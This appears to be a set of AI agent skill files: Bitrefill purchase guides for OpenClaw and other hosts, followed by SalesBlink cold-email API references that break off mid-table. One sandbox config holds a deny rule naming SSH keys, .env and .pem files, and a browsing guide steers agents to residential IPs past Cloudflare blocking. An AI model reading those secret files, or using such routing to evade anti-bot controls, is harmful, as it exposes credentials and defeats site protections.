If Gateway runs in Docker sandbox: declare `setupCommand: "npm install -g @bitrefill/cli"` and ensure `network` is not `none`. Source: <https://docs.openclaw.ai/gateway/sandboxing.md>.
Then: see [cli.md](cli.md).
## 5. Raw API path
`exec` + `curl`, or built-in `web_fetch` tool. No special config. See [api.md](api.md).
## 6. Browser
Pi has `browser` tool. **It uses the Gateway host's IP** — usually residential when Gateway runs on user's machine, but a VPS will hit Cloudflare 403. For richer DOM control attach a Playwright/Chrome MCP. The Mac menubar app drives user's actual Chrome and is fully residential. See [browse.md](browse.md).
## 7. OpenClaw-only scenarios
These are the differentiators. None of the other hosts can do them.
### Buy a gift card from Telegram (away from desk)
User DMs the bot: "buy a $50 Steam US card for me". Pi routes to Bitrefill MCP, prompts confirmation in chat, pays from `balance`, returns redemption code.
**Risk**: redemption codes are cash-like. Never deliver to group chats or via `MEDIA:` URLs. Lock down channel:
```jsonc
{
"channels": {
"telegram": {
"botToken": "TELEGRAM_BOT_TOKEN",
"dmPolicy": "pairing",
"allowFrom": ["123456789"],
"groups": { "*": { "requireMention": true } }
}
}
}
```
Source: <https://docs.openclaw.ai/channels/telegram>.
### Auto-renew mobile top-up monthly
Use `cron` tool to schedule `buy-products` for a fixed phone-top-up SKU on the 1st of each month, paying from `balance`. Heartbeat (default 30 min) polls `get-invoice-by-id` until `complete` then pings the user.
### Multi-channel handoff
Trigger purchase from Slack, deliver redemption code only to user's private Signal DM. Same Gateway, isolated session per channel/sender.
### Mobile camera context
Paired iOS/Android node exposes `camera.snap` and `canvas.*`. User photographs a recipient's request ("100 EUR Decathlon France"), Pi OCRs/parses, runs `search-products` + `buy-products`. Source: <https://docs.openclaw.ai/nodes/index.md>.
### Heartbeat-driven invoice polling
Default 30-min heartbeat or custom `cron` polls `get-invoice-by-id` until `status: complete`, then pushes redemption code to originating channel.
## 8. OpenClaw-specific safeguards
OpenClaw defaults are permissive: sandboxing off, `security: full`, `ask: off`. **Tighten before letting an agent buy on your behalf.**
- **Restrict who triggers purchases**: `channels.<ch>.allowFrom: ["<your_id>"]` + `dmPolicy: "pairing"`. Same for WhatsApp, Signal, Slack, Discord.
- **Require approval for buys**: `~/.openclaw/exec-approvals.json` with `security: allowlist` + `ask: on-miss`. Allowlist `bitrefill *` for read tools; force `/approve` for `bitrefill buy-products` and the MCP `buy-products` call.
- **Isolate Bitrefill agent**: under `agents.list[]` declare a Bitrefill-scoped persona with `tools.deny: ["gateway"]` so the agent **cannot rewrite Gateway config** to bypass approvals. Source: <https://docs.openclaw.ai/tools/exec-approvals.md>.
- **Pre-fund only `balance`** with low cap. **Never** give the agent crypto wallet seeds. Skill is not a wallet.
- **No voice readback of codes**: disable `audio_as_voice` / TTS for the Bitrefill agent. Pi's media pipeline could otherwise speak a cash-like code aloud over Telegram voice notes.
- **No `MEDIA:<url>` for redemption codes**: enforce text-only delivery for the redemption tool output.
## Source of truth
- OpenClaw docs: <https://docs.openclaw.ai/>
- Skills loader: <https://docs.openclaw.ai/tools/skills.md>
- Creating skills: <https://docs.openclaw.ai/tools/creating-skills.md>
- MCP CLI: <https://docs.openclaw.ai/cli/mcp.md>
- Exec tool: <https://docs.openclaw.ai/tools/exec.md>
- Sandboxing: <https://docs.openclaw.ai/gateway/sandboxing.md>
- Exec approvals: <https://docs.openclaw.ai/tools/exec-approvals.md>
- Nodes: <https://docs.openclaw.ai/nodes/index.md>
- Channels: <https://docs.openclaw.ai/channels/telegram>
- Bitrefill skill paths: [mcp.md](mcp.md), [cli.md](cli.md), [api.md](api.md), [browse.md](browse.md), [safeguards.md](safeguards.md)
FILE:references/browse.md
# Path: Browse the Website
Use when: user wants to **explore** Bitrefill (compare prices, learn product types, check denominations, see country availability) AND your runtime has a **residential-IP browser**. Browse-only by default — for purchases prefer [mcp.md](mcp.md).
## Hard requirement: residential IP
`www.bitrefill.com` sits behind Cloudflare. **Datacenter egress = 403.** Do NOT use Firecrawl, raw `fetch`, `curl`, or any scraping API.
Viable runtimes:
- **ChatGPT Atlas** — built-in residential Chromium.
- **Cursor** — built-in browser tool runs from user's machine.
- **Claude Code / Desktop / Cowork + Claude-for-Chrome** extension drives local Chrome.
- **Any host + Playwright/Chrome MCP** running on user's machine.
- **OpenClaw Gateway on user's host** — `browser` tool uses host IP. (See [host-openclaw.md](host-openclaw.md).)
Not viable: ChatGPT web/Agent (OpenAI datacenter), Gemini consumer (Google datacenter), Jules (Google VM), any cloud sandbox without residential proxy.
## URL patterns
First path segment = **country** (Alpha-2 lowercase). Second = **language**.
- Gift cards listing: `https://www.bitrefill.com/{country}/{lang}/gift-cards/`
- Gift card category: `https://www.bitrefill.com/{country}/{lang}/gift-cards/{category-slug}/` (e.g. `/us/en/gift-cards/food/`)
- Gift card product: `https://www.bitrefill.com/{country}/{lang}/gift-cards/{product-slug}/`
- Direct search: `https://www.bitrefill.com/{country}/{lang}/gift-cards/?q={query}` (covers gift cards + top-ups + eSIMs; in-country prioritized)
- Mobile top-ups: `https://www.bitrefill.com/refill/`
- eSIMs (locale): `https://www.bitrefill.com/{country}/{lang}/esims/`
- eSIMs (browse all destinations): `https://www.bitrefill.com/esim/all-destinations`
- Single eSIM: `https://www.bitrefill.com/{country}/{lang}/esims/bitrefill-esim-{destination-slug}/` (e.g. `bitrefill-esim-japan`, `bitrefill-esim-global`)
- Auth (no locale prefix): `/login`, `/signup`
## Country in URL vs geolock
- **URL country** filters which inventory is **listed**.
- **Geolock** is enforced at **IP level** at checkout. A product may appear in listing but be unpurchasable if user's IP is outside allowed region.
Match URL country to recipient's country to surface usable cards.
## Listing filters & sort (gift cards)
Query params on any gift-card listing (`/{country}/{lang}/gift-cards/[category/]`):
- `redemptionMethod` — `online` | `instore`
- `minRating` — `2` | `3` | `4` | `5`
- `minRewards` — `1`–`10` (cashback %)
- `s` — sort: `2` = A–Z, `3` = recently added, `4` = cashback. Default = popularity.
Example: `https://www.bitrefill.com/us/en/gift-cards/food/?minRating=5&minRewards=4&redemptionMethod=instore`
## Categories (popular slugs)
`top-products`, `retail`, `apparel`, `electronics`, `food`, `restaurants`, `food-delivery`, `streaming`, `games`, `travel`, `flights`, `accommodation`, `entertainment`, `gasoline`, `vpn`, `multi-brand`, `digital-wallet`, `groceries`, `pharmacy`, `experiences`, `gifts`. Full list: <https://docs.bitrefill.com/docs/Products>.
## Suggested flow
1. Clarify product type (gift card / top-up / eSIM) + country (+ carrier for top-ups).
2. Send user to direct search URL or category path.
3. For top-ups: country → carrier → amount.
4. For eSIMs: destination → data + duration.
5. Remind user to check denomination matches recipient's needs and that geolock applies at checkout.
## Purchase from the browser?
Possible but slow and risky. Anti-bot may block agent on brand redemption sites. Prefer [mcp.md](mcp.md) or [cli.md](cli.md) for purchases. If browser checkout is the only option, follow [safeguards.md](safeguards.md) — confirm with user, log invoice ID, treat redemption code as cash.
## Source of truth
- <https://www.bitrefill.com>
- <https://help.bitrefill.com>
- <https://docs.bitrefill.com/docs/Products>
FILE:references/safeguards.md
# Spending Safeguards
This skill enables **real-money transactions**. Purchases are fulfilled instantly after payment confirms. Digital codes are non-refundable per EU consumer rights once delivered.
This page is the **agent-policy layer** — not in upstream Bitrefill or host docs. Read fully before any purchase tool call.
## Universal rules
- **Default: always confirm before purchasing.** Present product, denomination, price, payment method. Wait for explicit user approval. Autonomous purchasing only when user explicitly opts in for the current session.
- **Codes are cash-like.** A gift card code or eSIM QR is bearer money. Store securely. Never share publicly.
- **Prefer in-memory storage.** Don't write codes to plain-text logs, transcripts, or unencrypted files. Programmatically read code → use it → discard.
- **If user asks for the code**: return it but advise to (a) store securely, (b) not share, (c) redeem ASAP.
- **Dedicated, low-balance account.** Never give the agent access to high-balance accounts. Pre-fund only what the agent may spend in the current session.
- **Not a wallet.** This skill does not store private keys or manage crypto wallets. Never give the agent seed phrases, hardware-wallet PINs, or signing keys.
- **Log every purchase.** `invoice_id`, product slug, amount, payment method, timestamp.
- **Refunds**: digital goods refundable only if they don't work as expected (defective code). EU 14-day change-of-mind does **not** apply.
- **Browser redemption fallback.** If trying to redeem on a brand site triggers anti-bot, ask the user to complete redemption manually and return the code.
Terms: <https://www.bitrefill.com/terms/>.
## Per-host hardening
### OpenClaw
Defaults are permissive (sandboxing off, `security: full`, `ask: off`). Tighten:
- `channels.<ch>.allowFrom: ["<your_id>"]` + `dmPolicy: "pairing"` on every channel.
- `~/.openclaw/exec-approvals.json`: `security: allowlist` + `ask: on-miss`. Allowlist read tools (`bitrefill search-products`, `bitrefill list-*`, `bitrefill get-*`). Force `/approve` for `bitrefill buy-products` and the MCP `buy-products` call.
- `agents.list[]` Bitrefill persona with `tools.deny: ["gateway"]` so the agent cannot rewrite Gateway config.
- Disable voice readback (`audio_as_voice` / TTS) for the Bitrefill agent. Codes spoken aloud over voice notes leak.
- Force text-only delivery — no `MEDIA:<url>` for redemption code output.
Full detail in [host-openclaw.md](host-openclaw.md) §8.
### Cursor
`.cursor/mcp.json` `autoApprove` may include read tools. **Never** include `buy-products`:
```json
{
"mcpServers": {
"bitrefill": {
"url": "https://api.bitrefill.com/mcp",
"autoApprove": [
"search-products", "product-details",
"list-invoices", "get-invoice-by-id",
"list-orders", "get-order-by-id"
]
}
}
}
```
### Codex CLI
Run with sandbox + approval:
```bash
codex --sandbox workspace-write --ask-for-approval on-request
```
Put `BITREFILL_API_KEY` in a profile (`~/.codex/config.toml` `[profiles.bitrefill]`), not in committed config.
### Claude Code
In `~/.claude/settings.json` (or project `.claude/settings.json`):
```json
{
"sandbox": {
"filesystem": {
"denyRead": ["~/.ssh", ".env", "*.pem", "**/.bitrefill_token"],
"denyWrite": ["~/.ssh", ".env"]
},
"network": {
"allow": ["api.bitrefill.com", "registry.npmjs.org"]
}
}
}
```
### Claude Desktop / Claude.ai web
Per-tool approval prompts on by default. Keep them on. Don't whitelist `buy-products`.
### ChatGPT (web / Desktop / Atlas / Agent)
Developer Mode required for write tools. Keep it **off** unless actively purchasing. Confirm in-chat before every `buy-products`.
### Gemini CLI
Run with `--sandbox` (Seatbelt / Docker / gVisor). Per-shell command confirmation prompts on by default.
### OpenCode
Set permissions per agent:
```jsonc
{
"agents": {
"bitrefill": {
"permissions": {
"edit": "ask",
"bash": { "*": "ask", "bitrefill list-*": "allow", "bitrefill get-*": "allow" },
"webfetch": "ask"
}
}
}
}
```
## Payment method risk
- `balance` — instant, capped by pre-funded amount. **Lowest blast radius.**
- `usdc_base` via x402 — autonomous payment from agent-controlled wallet. Bound the wallet balance.
- `lightning` — fast, low fee. Manual pay or Lightning-capable agent.
- Other on-chain crypto — slow, requires polling. Higher chance of expired invoices (180 min).
Default recommendation: pre-fund `balance` with low cap → use `payment_method: "balance"` + `auto_pay: true`.
## What to NEVER do
- Pass redemption codes through group chats, public channels, screen-shared sessions, or shared documents.
- Speak codes aloud via TTS / voice notes.
- Store codes in version control, even private repos.
- Give the agent seed phrases or hardware-wallet PINs.
- Auto-approve `buy-products` in any host's MCP config.
- Run the Bitrefill skill from an account with stored payment cards or high balances.
## Source of truth
- Bitrefill ToS: <https://www.bitrefill.com/terms/>
- Refund policy: <https://docs.bitrefill.com/docs/refunds>
- Path setup: [mcp.md](mcp.md), [cli.md](cli.md), [api.md](api.md), [browse.md](browse.md)
- OpenClaw hardening: [host-openclaw.md](host-openclaw.md)
Interact with the SalesBlink for cold email and sales outreach automation. Use when the user needs to send cold emails, manage email lists, sequences, templa...
--- name: cold-email-salesblink description: > Interact with the SalesBlink for cold email and sales outreach automation. Use when the user needs to send cold emails, manage email lists, sequences, templates, senders, leads, inbox replies, or campaign analytics via the SalesBlink API. Also use for bulk contact imports, workspace management, or deliverability testing via HTTP requests. compatibility: > Requires network access to run.salesblink.io and a SalesBlink API key. Supports any HTTP client (curl, Node.js fetch, Python requests, PowerShell, etc.). --- # SalesBlink Public REST API v1.0.0 ## When to use this skill Use this skill when the user wants to: - Create, update, or manage email lists, sequences, templates, or senders - Add, update, move, or remove contacts/leads - Send or reply to emails via the inbox - Check campaign analytics (opens, clicks, replies, sent) - Set up outreach campaigns end-to-end - Manage workspaces, users, folders, or deliverability tests - Make any HTTP request to `run.salesblink.io/api/public/v1.0.0` ## Gotchas - **ID types matter**: Templates and contact archive use MongoDB ObjectId (24-char hex). All other entities use UUID v4. - **messageId** is the RFC822 Message-ID (e.g. `<[email protected]>`) or Microsoft Graph ID. **Crucial:** Always URL-encode this ID when using it as a path parameter (e.g. in `/inbox/:messageId/thread`). This is distinct from the internal UUID `id`. - **`senders` is a comma-separated string**, not an array. It can mix sender IDs and folder IDs — the server auto-detects each. - **Sequence `steps` fully replace on PATCH**. Send the complete desired array. - **Verification flags are IRREVERSIBLE**: `verification`, `archive_invalid`, `archive_risky` on lists can only be turned ON, never OFF. - **Sequences default to paused**: If `paused` is omitted on create, it defaults to `true`. - **`launchTimingMode: "now"` starts in 5 minutes**, not instantly. - **Template attachments use FormData field `attachment`** (not `attachments`). Max 3 per template. - **Remove template attachments via `remove_attachments`** array of file **names**. - **Adding SMTP sender requires `from_email`**, not `email`. - **If an endpoint for a specific task is not mentioned then tell the user that the endpoint is not available** - **If user does not have a list, ask them for a CSV file, or list of lead emails with data.** - **If email sender is not connected, help them connect one using APIs.** - **When asked to create a sequence or campaign for cold email outreach, first ask them about their ICP, Offer, and other details.** ## Base URL `https://run.salesblink.io/api/public/v1.0.0` ## Authentication Ask the user for their SalesBlink API key: `https://run.salesblink.io/account/integration/api` Pass it in every request as the `Authorization` header (no "Bearer" prefix): **Header:** `Authorization: YOUR_API_KEY` ## Rate Limits | Method | Limit | Window | | ------------- | ----- | ---------- | | GET | 30 | per minute | | POST / PATCH | 15 | per minute | | PUT (archive) | 10 | per minute | On `429 Too Many Requests`: wait at least 60 seconds before retrying. For batch operations, insert a 4-second delay between requests. ## Pagination Most list endpoints use `limit` (max 100) and `skip`. Activity endpoints (`/sent`, `/opens`, `/clicks`, `/replies`) use `per_page` (max 100) and `page` (1-indexed). Always paginate. Never assume a single request returns all data. ## Endpoint Categories Read the relevant reference file before performing operations in that domain: - **Lists & contacts/leads** → [references/lists.md](references/lists.md) and [references/contacts.md](references/contacts.md) - Use these endpoints when the user wants to fetch or manage lists that contain leads/contacts. A list is a container for contacts/leads. Each contact/lead contains fields like Email, First_Name, Last_Name, Phone, Company, Title, and custom fields. Contacts are added to lists in batches (up to 500 per request), can be moved between lists, updated, or removed. - **Email templates** → [references/templates.md](references/templates.md) - Use these endpoints when the user wants to create or manage reusable email templates. A template has a name, subject_line, and HTML content that supports merge variables like {{first_name}} and {{company}}. Templates can have up to 3 attachments and are referenced by sequences when building outreach steps. - **Sequences & email campaigns** → [references/sequences.md](references/sequences.md) - Use these endpoints when the user wants to create or manage automated email campaigns (sequences). A sequence connects lists (who to email), senders (which accounts send), and templates (what to send) into a timed step-by-step workflow. Steps alternate between email sends and delay periods. Sequences can be launched, paused, resumed, cloned, or archived. - **Senders & OAuth** → [references/senders.md](references/senders.md) - Use these endpoints when the user wants to connect or manage email sending accounts. A sender is an email account (SMTP/IMAP or OAuth-connected Gmail/Outlook) that sends emails on behalf of sequences. Multiple senders can be assigned to a sequence. Senders can also be organized into folders. - **Inbox & replies** → [references/inbox.md](references/inbox.md) - Use these endpoints when the user wants to view or interact with email conversations. The inbox contains reply threads, sent emails, scheduled emails, and drafts. Each thread has a messageId. The user can reply to a lead's email, mark messages as read/unread, or classify outcomes. - **Activity tracking** → [references/activity.md](references/activity.md) - Use these endpoints when the user wants to query engagement events. The system tracks four event types: sent (emails sent), opens (emails opened), clicks (links clicked), and replies (responses received). Events can be filtered by sequence, recipient email, and date range. - **Users & workspaces** → [references/organization.md](references/organization.md) - Use these endpoints when the user wants to manage team membership or workspaces. A workspace is an account boundary. Users have roles (client, user, admin, developer). Only owners and admins can invite users or create workspaces. - **Folders** → [references/folders.md](references/folders.md) - Use these endpoints when the user wants to organize resources into folders. Folders have a type (list, template, sequence, or email-sender) and group related resources together for easier management. - **Domains, signatures & warmup links** → [references/account-config.md](references/account-config.md) - Use these endpoints when the user wants to view account-level configuration. Custom tracking domains are used for click tracking in emails. Signatures are appended to outgoing emails. Warmup links are used in email warmup processes. - **Reports** → [references/reports.md](references/reports.md) - Use these endpoints when the user wants to fetch aggregated activity reports over a date range. Reports combine data across campaigns into summary views. - **Inbox placement tests** → [references/inbox-placement.md](references/inbox-placement.md) - Use these endpoints when the user wants to test email deliverability. An inbox placement test sends a test email to seed email addresses across providers (Gmail, Outlook, etc.) and reports whether the email landed in inbox, spam, promotions, or other tabs. Tests can be one-time or recurring. - **End-to-end workflow examples** → [references/workflows.md](references/workflows.md) - Use this reference when the user wants to set up a complete outreach campaign from scratch. It shows the full chain: create list → add contacts → create templates → fetch senders → create sequence → launch. ## Error Handling Always check the `success` boolean in the response body. A `200` status can still return `{ success: false, message: "..." }`. | Status | Meaning | Action | | ------ | ------------ | ----------------------------------------------------- | | 200 | Success | Check `success` field | | 400 | Bad request | Re-check payload structure against the reference file | | 401 | Unauthorized | Verify API key | | 403 | Forbidden | Insufficient permissions (role too low) | | 404 | Not found | Verify the ID / endpoint | | 409 | Conflict | Resource already exists or connection failed | | 429 | Rate limited | Wait 60s, then retry | | 500 | Server error | Retry once after 10s | FILE:references/workflows.md # Workflow Examples ## End-to-End Campaign Setup Goal: Build a complete outreach campaign from scratch. ### Step 1 — Create a list **POST** `/lists` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Q1 Prospects", "removeDuplicates": { "inThisList": true, "inOtherLists": true } } ``` Extract `LIST_ID` from the response. ### Step 2 — Add leads to the list **POST** `/contacts` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "list_id": "LIST_ID_HERE", "contacts": [ { "Email": "[email protected]", "First_Name": "Alice", "Company": "Corp Inc" }, { "Email": "[email protected]", "First_Name": "Bob", "Company": "Startup IO" } ], "remove_duplicates": true } ``` ### Step 3 — Create email templates **POST** `/templates` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Intro Email", "subject_line": "Quick question, {{first_name}}", "content": "<p>Hi {{first_name}},</p><p>I noticed {{company}} is scaling fast...</p>" } ``` Extract `TEMPLATE_1_ID` (MongoDB ObjectId). Repeat for follow-up templates. ### Step 4 — Fetch available senders **GET** `/senders` Headers: - `Authorization`: `YOUR_API_KEY` Extract target `SENDER_ID` (UUID). ### Step 5 — Create the sequence **POST** `/sequences` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Q1 Outbound Campaign", "senders": "SENDER_ID_HERE", "lists": ["LIST_ID_HERE"], "steps": [ { "type": "email", "template_id": "TEMPLATE_1_ID" }, { "type": "delay", "days": 3 }, { "type": "email", "template_id": "TEMPLATE_2_ID" } ], "paused": false, "launchTimingMode": "now" } ``` ## Clone and Modify Workflow Goal: Duplicate an existing sequence and tweak it. ### 1. Clone the sequence (creates paused copy) **POST** `/sequences/:id/clone` Headers: - `Authorization`: `YOUR_API_KEY` Extract `NEW_SEQ_ID` from response. ### 2. Update the cloned sequence with new settings **PATCH** `/sequences/:id` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Q1 Campaign — Variant B", "steps": [ { "type": "email", "template_id": "NEW_TEMPLATE_ID" }, { "type": "delay", "days": 5 }, { "type": "email", "template_id": "FOLLOW_UP_TEMPLATE_ID" } ] } ``` ### 3. Launch when ready **PATCH** `/sequences/:id` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "paused": false, "launchTimingMode": "now" } ``` ## Archive Cleanup Workflow Goal: Clean up old campaigns, lists, and templates. ### Archive a sequence (pauses it and removes pending tasks) **PUT** `/sequences/:id/archive` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "archived": true } ``` ### Archive the associated list **PUT** `/lists/:id/archive` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "archived": true } ``` ### Archive templates **PUT** `/templates/:id/archive` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "archived": true } ``` > Archiving a sequence automatically pauses it and removes pending email tasks. Archiving a list pauses it if active. Archiving a contact removes its pending tasks from all sequences. FILE:references/reports.md # Reports ## Endpoints | Endpoint | Method | Description | |----------|--------|-------------| | `/reports` | GET | Retrieve activity reports with aggregated data | ## Get Reports **GET** `/reports` Headers: - `Authorization`: `YOUR_API_KEY` Query params: | Param | Type | Description | |-------|------|-------------| | `from` | integer | Start date timestamp (milliseconds) | | `to` | integer | End date timestamp (milliseconds) | | `limit` | integer | Max 100 (default enforced server-side) | | `skip` | integer | Offset | > The endpoint maps `from`/`to` to a date range filter internally. Both are optional; omitting them returns all available report data. **GET** `/reports?from=1715000000000&to=1717600000000` Headers: - `Authorization`: `YOUR_API_KEY` FILE:references/inbox.md # Inbox & Outreach ## Endpoints | Endpoint | Method | Description | | -------------------------- | ------ | ----------------------------------------------- | | `/inbox` | GET | Retrieve inbox threads | | `/inbox/:messageId/thread` | GET | Get all messages in a specific thread | | `/inbox/:messageId/reply` | POST | Reply to a lead's email | | `/inbox/:messageId` | PATCH | Mark as read/unread, set outcome classification | ## Get Inbox **GET** `/inbox` Headers: - `Authorization`: `YOUR_API_KEY` Query params: | Param | Type | Description | | ---------- | ------- | --------------------------------------------------------- | | `type` | string | `all` (replies, default), `draft`, `scheduled`, or `sent` | | `limit` | integer | Max 100 (default: 10) | | `skip` | integer | Offset (default: 0) | | `sequence` | string | Filter by sequence UUID | | `outcome` | string | Filter by outcome classification | | `search` | string | Search in body, subject, or email address | | `date` | string | Date range as `startTimestamp-endTimestamp` | | `sender` | string | Filter by sender ID | | `owned_by` | string | Filter by user email (owners/admins only) | ``` GET /inbox?type=all&limit=50&skip=0 GET /inbox?type=sent&sequence=SEQ_ID&limit=100 GET /inbox?search=acme&limit=20 ``` Response includes `data.result` (thread array), `totalCount`, `count`, and `messageIDs`. ## Get Thread **GET** `/inbox/:messageId/thread` Headers: - `Authorization`: `YOUR_API_KEY` Returns all messages in a conversation thread, sorted newest first. ## Reply to Email **POST** `/inbox/:messageId/reply` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "content": "<p>Thanks for getting back to me! Let's schedule a call.</p>", "cc": "[email protected]" } ``` | Field | Type | Req | Description | | ------------------ | ------- | --- | ------------------------------------------------------- | | `content` | string | ✅ | HTML content of the reply | | `cc` | string | | Optional CC email address | | `bcc` | string | | Optional BCC email address | | `scheduled_time` | integer | | Schedule at this timestamp (ms). Defaults to ~20s delay | | `tzMode` | string | | Timezone mode: `"sequence"` or `"custom"` | | `selectedTimezone` | string | | Timezone identifier if tzMode is custom | > Attachments are supported via FormData field `attachment`. Base64 images in HTML are automatically uploaded to S3. > The reply is automatically sent from the same sender that originally contacted the lead. ## Update Mail State **PATCH** `/inbox/:messageId` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "unread": false, "outcome": "interested" } ``` | Field | Type | Description | | --------- | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `unread` | boolean | Mark as read (`false`) or unread (`true`) | | `outcome` | string | Classify the reply: `"interested"`, `"not-interested"`, `"automatic-response"`, `"meeting-request"`, `"out-of-office"`, `"do-not-contact"`, `"wrong-person"`, `"closed"` | FILE:references/senders.md # Email Senders & OAuth ## Endpoints | Endpoint | Method | Description | |----------|--------|-------------| | `/senders` | GET | List all connected senders (grouped by folder) | | `/senders` | POST | Add a single SMTP/IMAP sender | | `/senders/bulk` | POST | Bulk add senders via CSV upload | | `/oauth/google` | POST | Get Google OAuth URL for connecting Gmail | | `/oauth/outlook` | POST | Get Microsoft OAuth URL for connecting Outlook | ## Get Senders **GET** `/senders` Headers: - `Authorization`: `YOUR_API_KEY` Query params: `limit` (max 100), `skip`, `owned_by` ## Add Single Sender (SMTP/IMAP) **POST** `/senders` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "from_email": "[email protected]", "from_name": "Sales Team", "password": "your_password", "smtp_host": "smtp.yourprovider.com", "smtp_port": 587, "user_name": "[email protected]", "imap_host": "imap.yourprovider.com", "imap_port": 993 } ``` | Field | Type | Req | Description | |-------|------|-----|-------------| | `from_email` | string | ✅ | Sender email address | | `password` | string | ✅ | SMTP/IMAP password | | `smtp_host` | string | ✅ | SMTP server hostname | | `smtp_port` | integer/string | ✅ | SMTP port (e.g., 587) | | `from_name` | string | | Display name | | `user_name` | string | | SMTP username (defaults to `from_email`) | | `imap_host` | string | | IMAP hostname (omit for SMTP-only) | | `imap_port` | integer/string | | IMAP port (e.g., 993) | | `imap_user_name` | string | | IMAP username if different from SMTP | | `imap_password` | string | | IMAP password if different from SMTP | | `total_warmup_per_day` | integer | | Warmup emails per day (default: 5) | | `warmup_enabled` | boolean | | Enable warmup (default: false) | | `inbox_enable` | boolean | | Enable inbox (default: false) | | `warmup_tag` | string | | Warmup keyword/tag | | `inbox_path` | string | | Inbox folder path (default: "INBOX") | | `spam_path` | string | | Spam folder path | | `signature_id` | string | | Signature ID or name to attach | | `custom_tracking_url` | string | | Custom tracking domain (must be verified) | | `sequence_auto_ramp_up_enabled` | boolean | | Enable sequence ramp-up | | `sequence_initial_daily_frequency` | integer | | Initial daily send limit (default: 30) | | `sequence_ramp_up_frequency` | integer | | Ramp-up increment (default: 3) | | `max_emails_per_day` | integer | | Max daily send limit (default: 30) | | `dkim_identifier` | string | | DKIM identifier | | `reply_to_email` | string | | Reply-to email address | > If `imap_host` is omitted or empty, the sender is created as **SMTP-only** (`serviceName: "smtponly"`). ## Bulk Add Senders **POST** `/senders/bulk` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `multipart/form-data` Upload a CSV file via FormData with field name `csvFile`. ## Google OAuth **POST** `/oauth/google` Headers: - `Authorization`: `YOUR_API_KEY` Returns an `auth_url` that the user must visit to authorize Gmail access. Response: ```json { "success": true, "data": { "auth_url": "https://accounts.google.com/o/oauth2/v2/auth?..." } } ``` ## Outlook OAuth **POST** `/oauth/outlook` Headers: - `Authorization`: `YOUR_API_KEY` Returns an `auth_url` for Microsoft Outlook authorization. FILE:references/templates.md # Email Templates ## Endpoints | Endpoint | Method | Description | |----------|--------|-------------| | `/templates` | GET | List all templates (includes `cold_email_score`) | | `/templates/:id` | GET | Get full template details + score breakdown | | `/templates` | POST | Create a template | | `/templates/:id` | PATCH | Update template content, attachments | | `/templates/:id/archive` | PUT | Archive or unarchive a template | ## Create Template **POST** `/templates` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Cold Outreach V1", "subject_line": "Quick question, {{first_name}}", "content": "<p>Hi {{first_name}},</p><p>I noticed {{company}} is scaling fast...</p>", "folder": "folder_id", "starred": false } ``` | Field | Type | Req | Description | |-------|------|-----|-------------| | `name` | string | ✅ | Template name | | `subject_line` | string | ✅ | Email subject (supports `{{variables}}`) | | `content` | string | ✅ | HTML body (supports `{{first_name}}`, `{{company}}`, etc.) | | `folder` | string | | Folder ID (UUID) | | `starred` | boolean | | Star the template | | `attachments` | file[] | | Files to attach (**max 3 total**). Use FormData field name `attachment` | Response includes `cold_email_score`: ```json { "score": 72.5, "rating": "Good", "details": { "word_count": 85, "personalization_count": 3, "link_count": 1, "image_count": 0, "question_count": 1, "spam_word_count": 0 } } ``` ## Update Template **PATCH** `/templates/:id` (ObjectId) Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Updated Template", "subject_line": "New subject {{first_name}}", "content": "<p>Updated content here</p>", "remove_attachments": ["old_file.pdf"] } ``` | Field | Type | Description | |-------|------|-------------| | `name` | string | New template name | | `subject_line` | string | New subject line | | `content` | string | New HTML body | | `starred` | boolean | Star/unstar | | `attachments` | file[] | New files to **append** (total must not exceed 3). Use FormData field name `attachment` | | `remove_attachments` | string[] | Names of existing attachments to **remove** | > **IMPORTANT**: To remove attachments, use the `remove_attachments` array with file **names** — not the `attachments` field. ## Archive Template **PUT** `/templates/:id/archive` (ObjectId) Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "archived": true } ``` FILE:references/inbox-placement.md # Inbox Placement Tests ## Endpoints | Endpoint | Method | Description | |----------|--------|-------------| | `/inbox-placement` | GET | List deliverability tests | | `/inbox-placement` | POST | Create a new deliverability test | | `/inbox-placement/:id/pause` | PUT | Pause an active **recurring** test | | `/inbox-placement/:id` | DELETE | Delete a test | ## Get Tests **GET** `/inbox-placement` Headers: - `Authorization`: `YOUR_API_KEY` Query params: | Param | Type | Description | |-------|------|-------------| | `search` | string | Filter by test name (case-insensitive) | | `status` | string | Filter by status: `pending`, `running`, `completed`, `stopped` | | `mode` | string | Filter by mode: `one-time`, `recurring` | | `ownedBy` | string | Filter by user ID | | `limit` | integer | Page size (default: 10) | | `skip` | integer | Offset (default: 0) | | `sortBy` | string | Sort field (default: `created_at`) | | `sortType` | integer | `-1` for descending, `1` for ascending | > Note: filtering by `status=completed` excludes recurring tests since they never truly complete. ## Create Test **POST** `/inbox-placement` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` | Field | Type | Req | Description | |-------|------|-----|-------------| | `name` | string | ✅ | Test name (min 3 characters) | | `mode` | string | ✅ | `"one-time"` or `"recurring"` | | `source` | string | ✅ | `"from-salesblink"` or `"from-outside"` | | `sender_id` | string | ✅* | Sender UUID (required when `source="from-salesblink"` or `mode="recurring"`) | | `content_type` | string | ✅* | `"custom"`, `"sequence"`, or `"template"` (required when 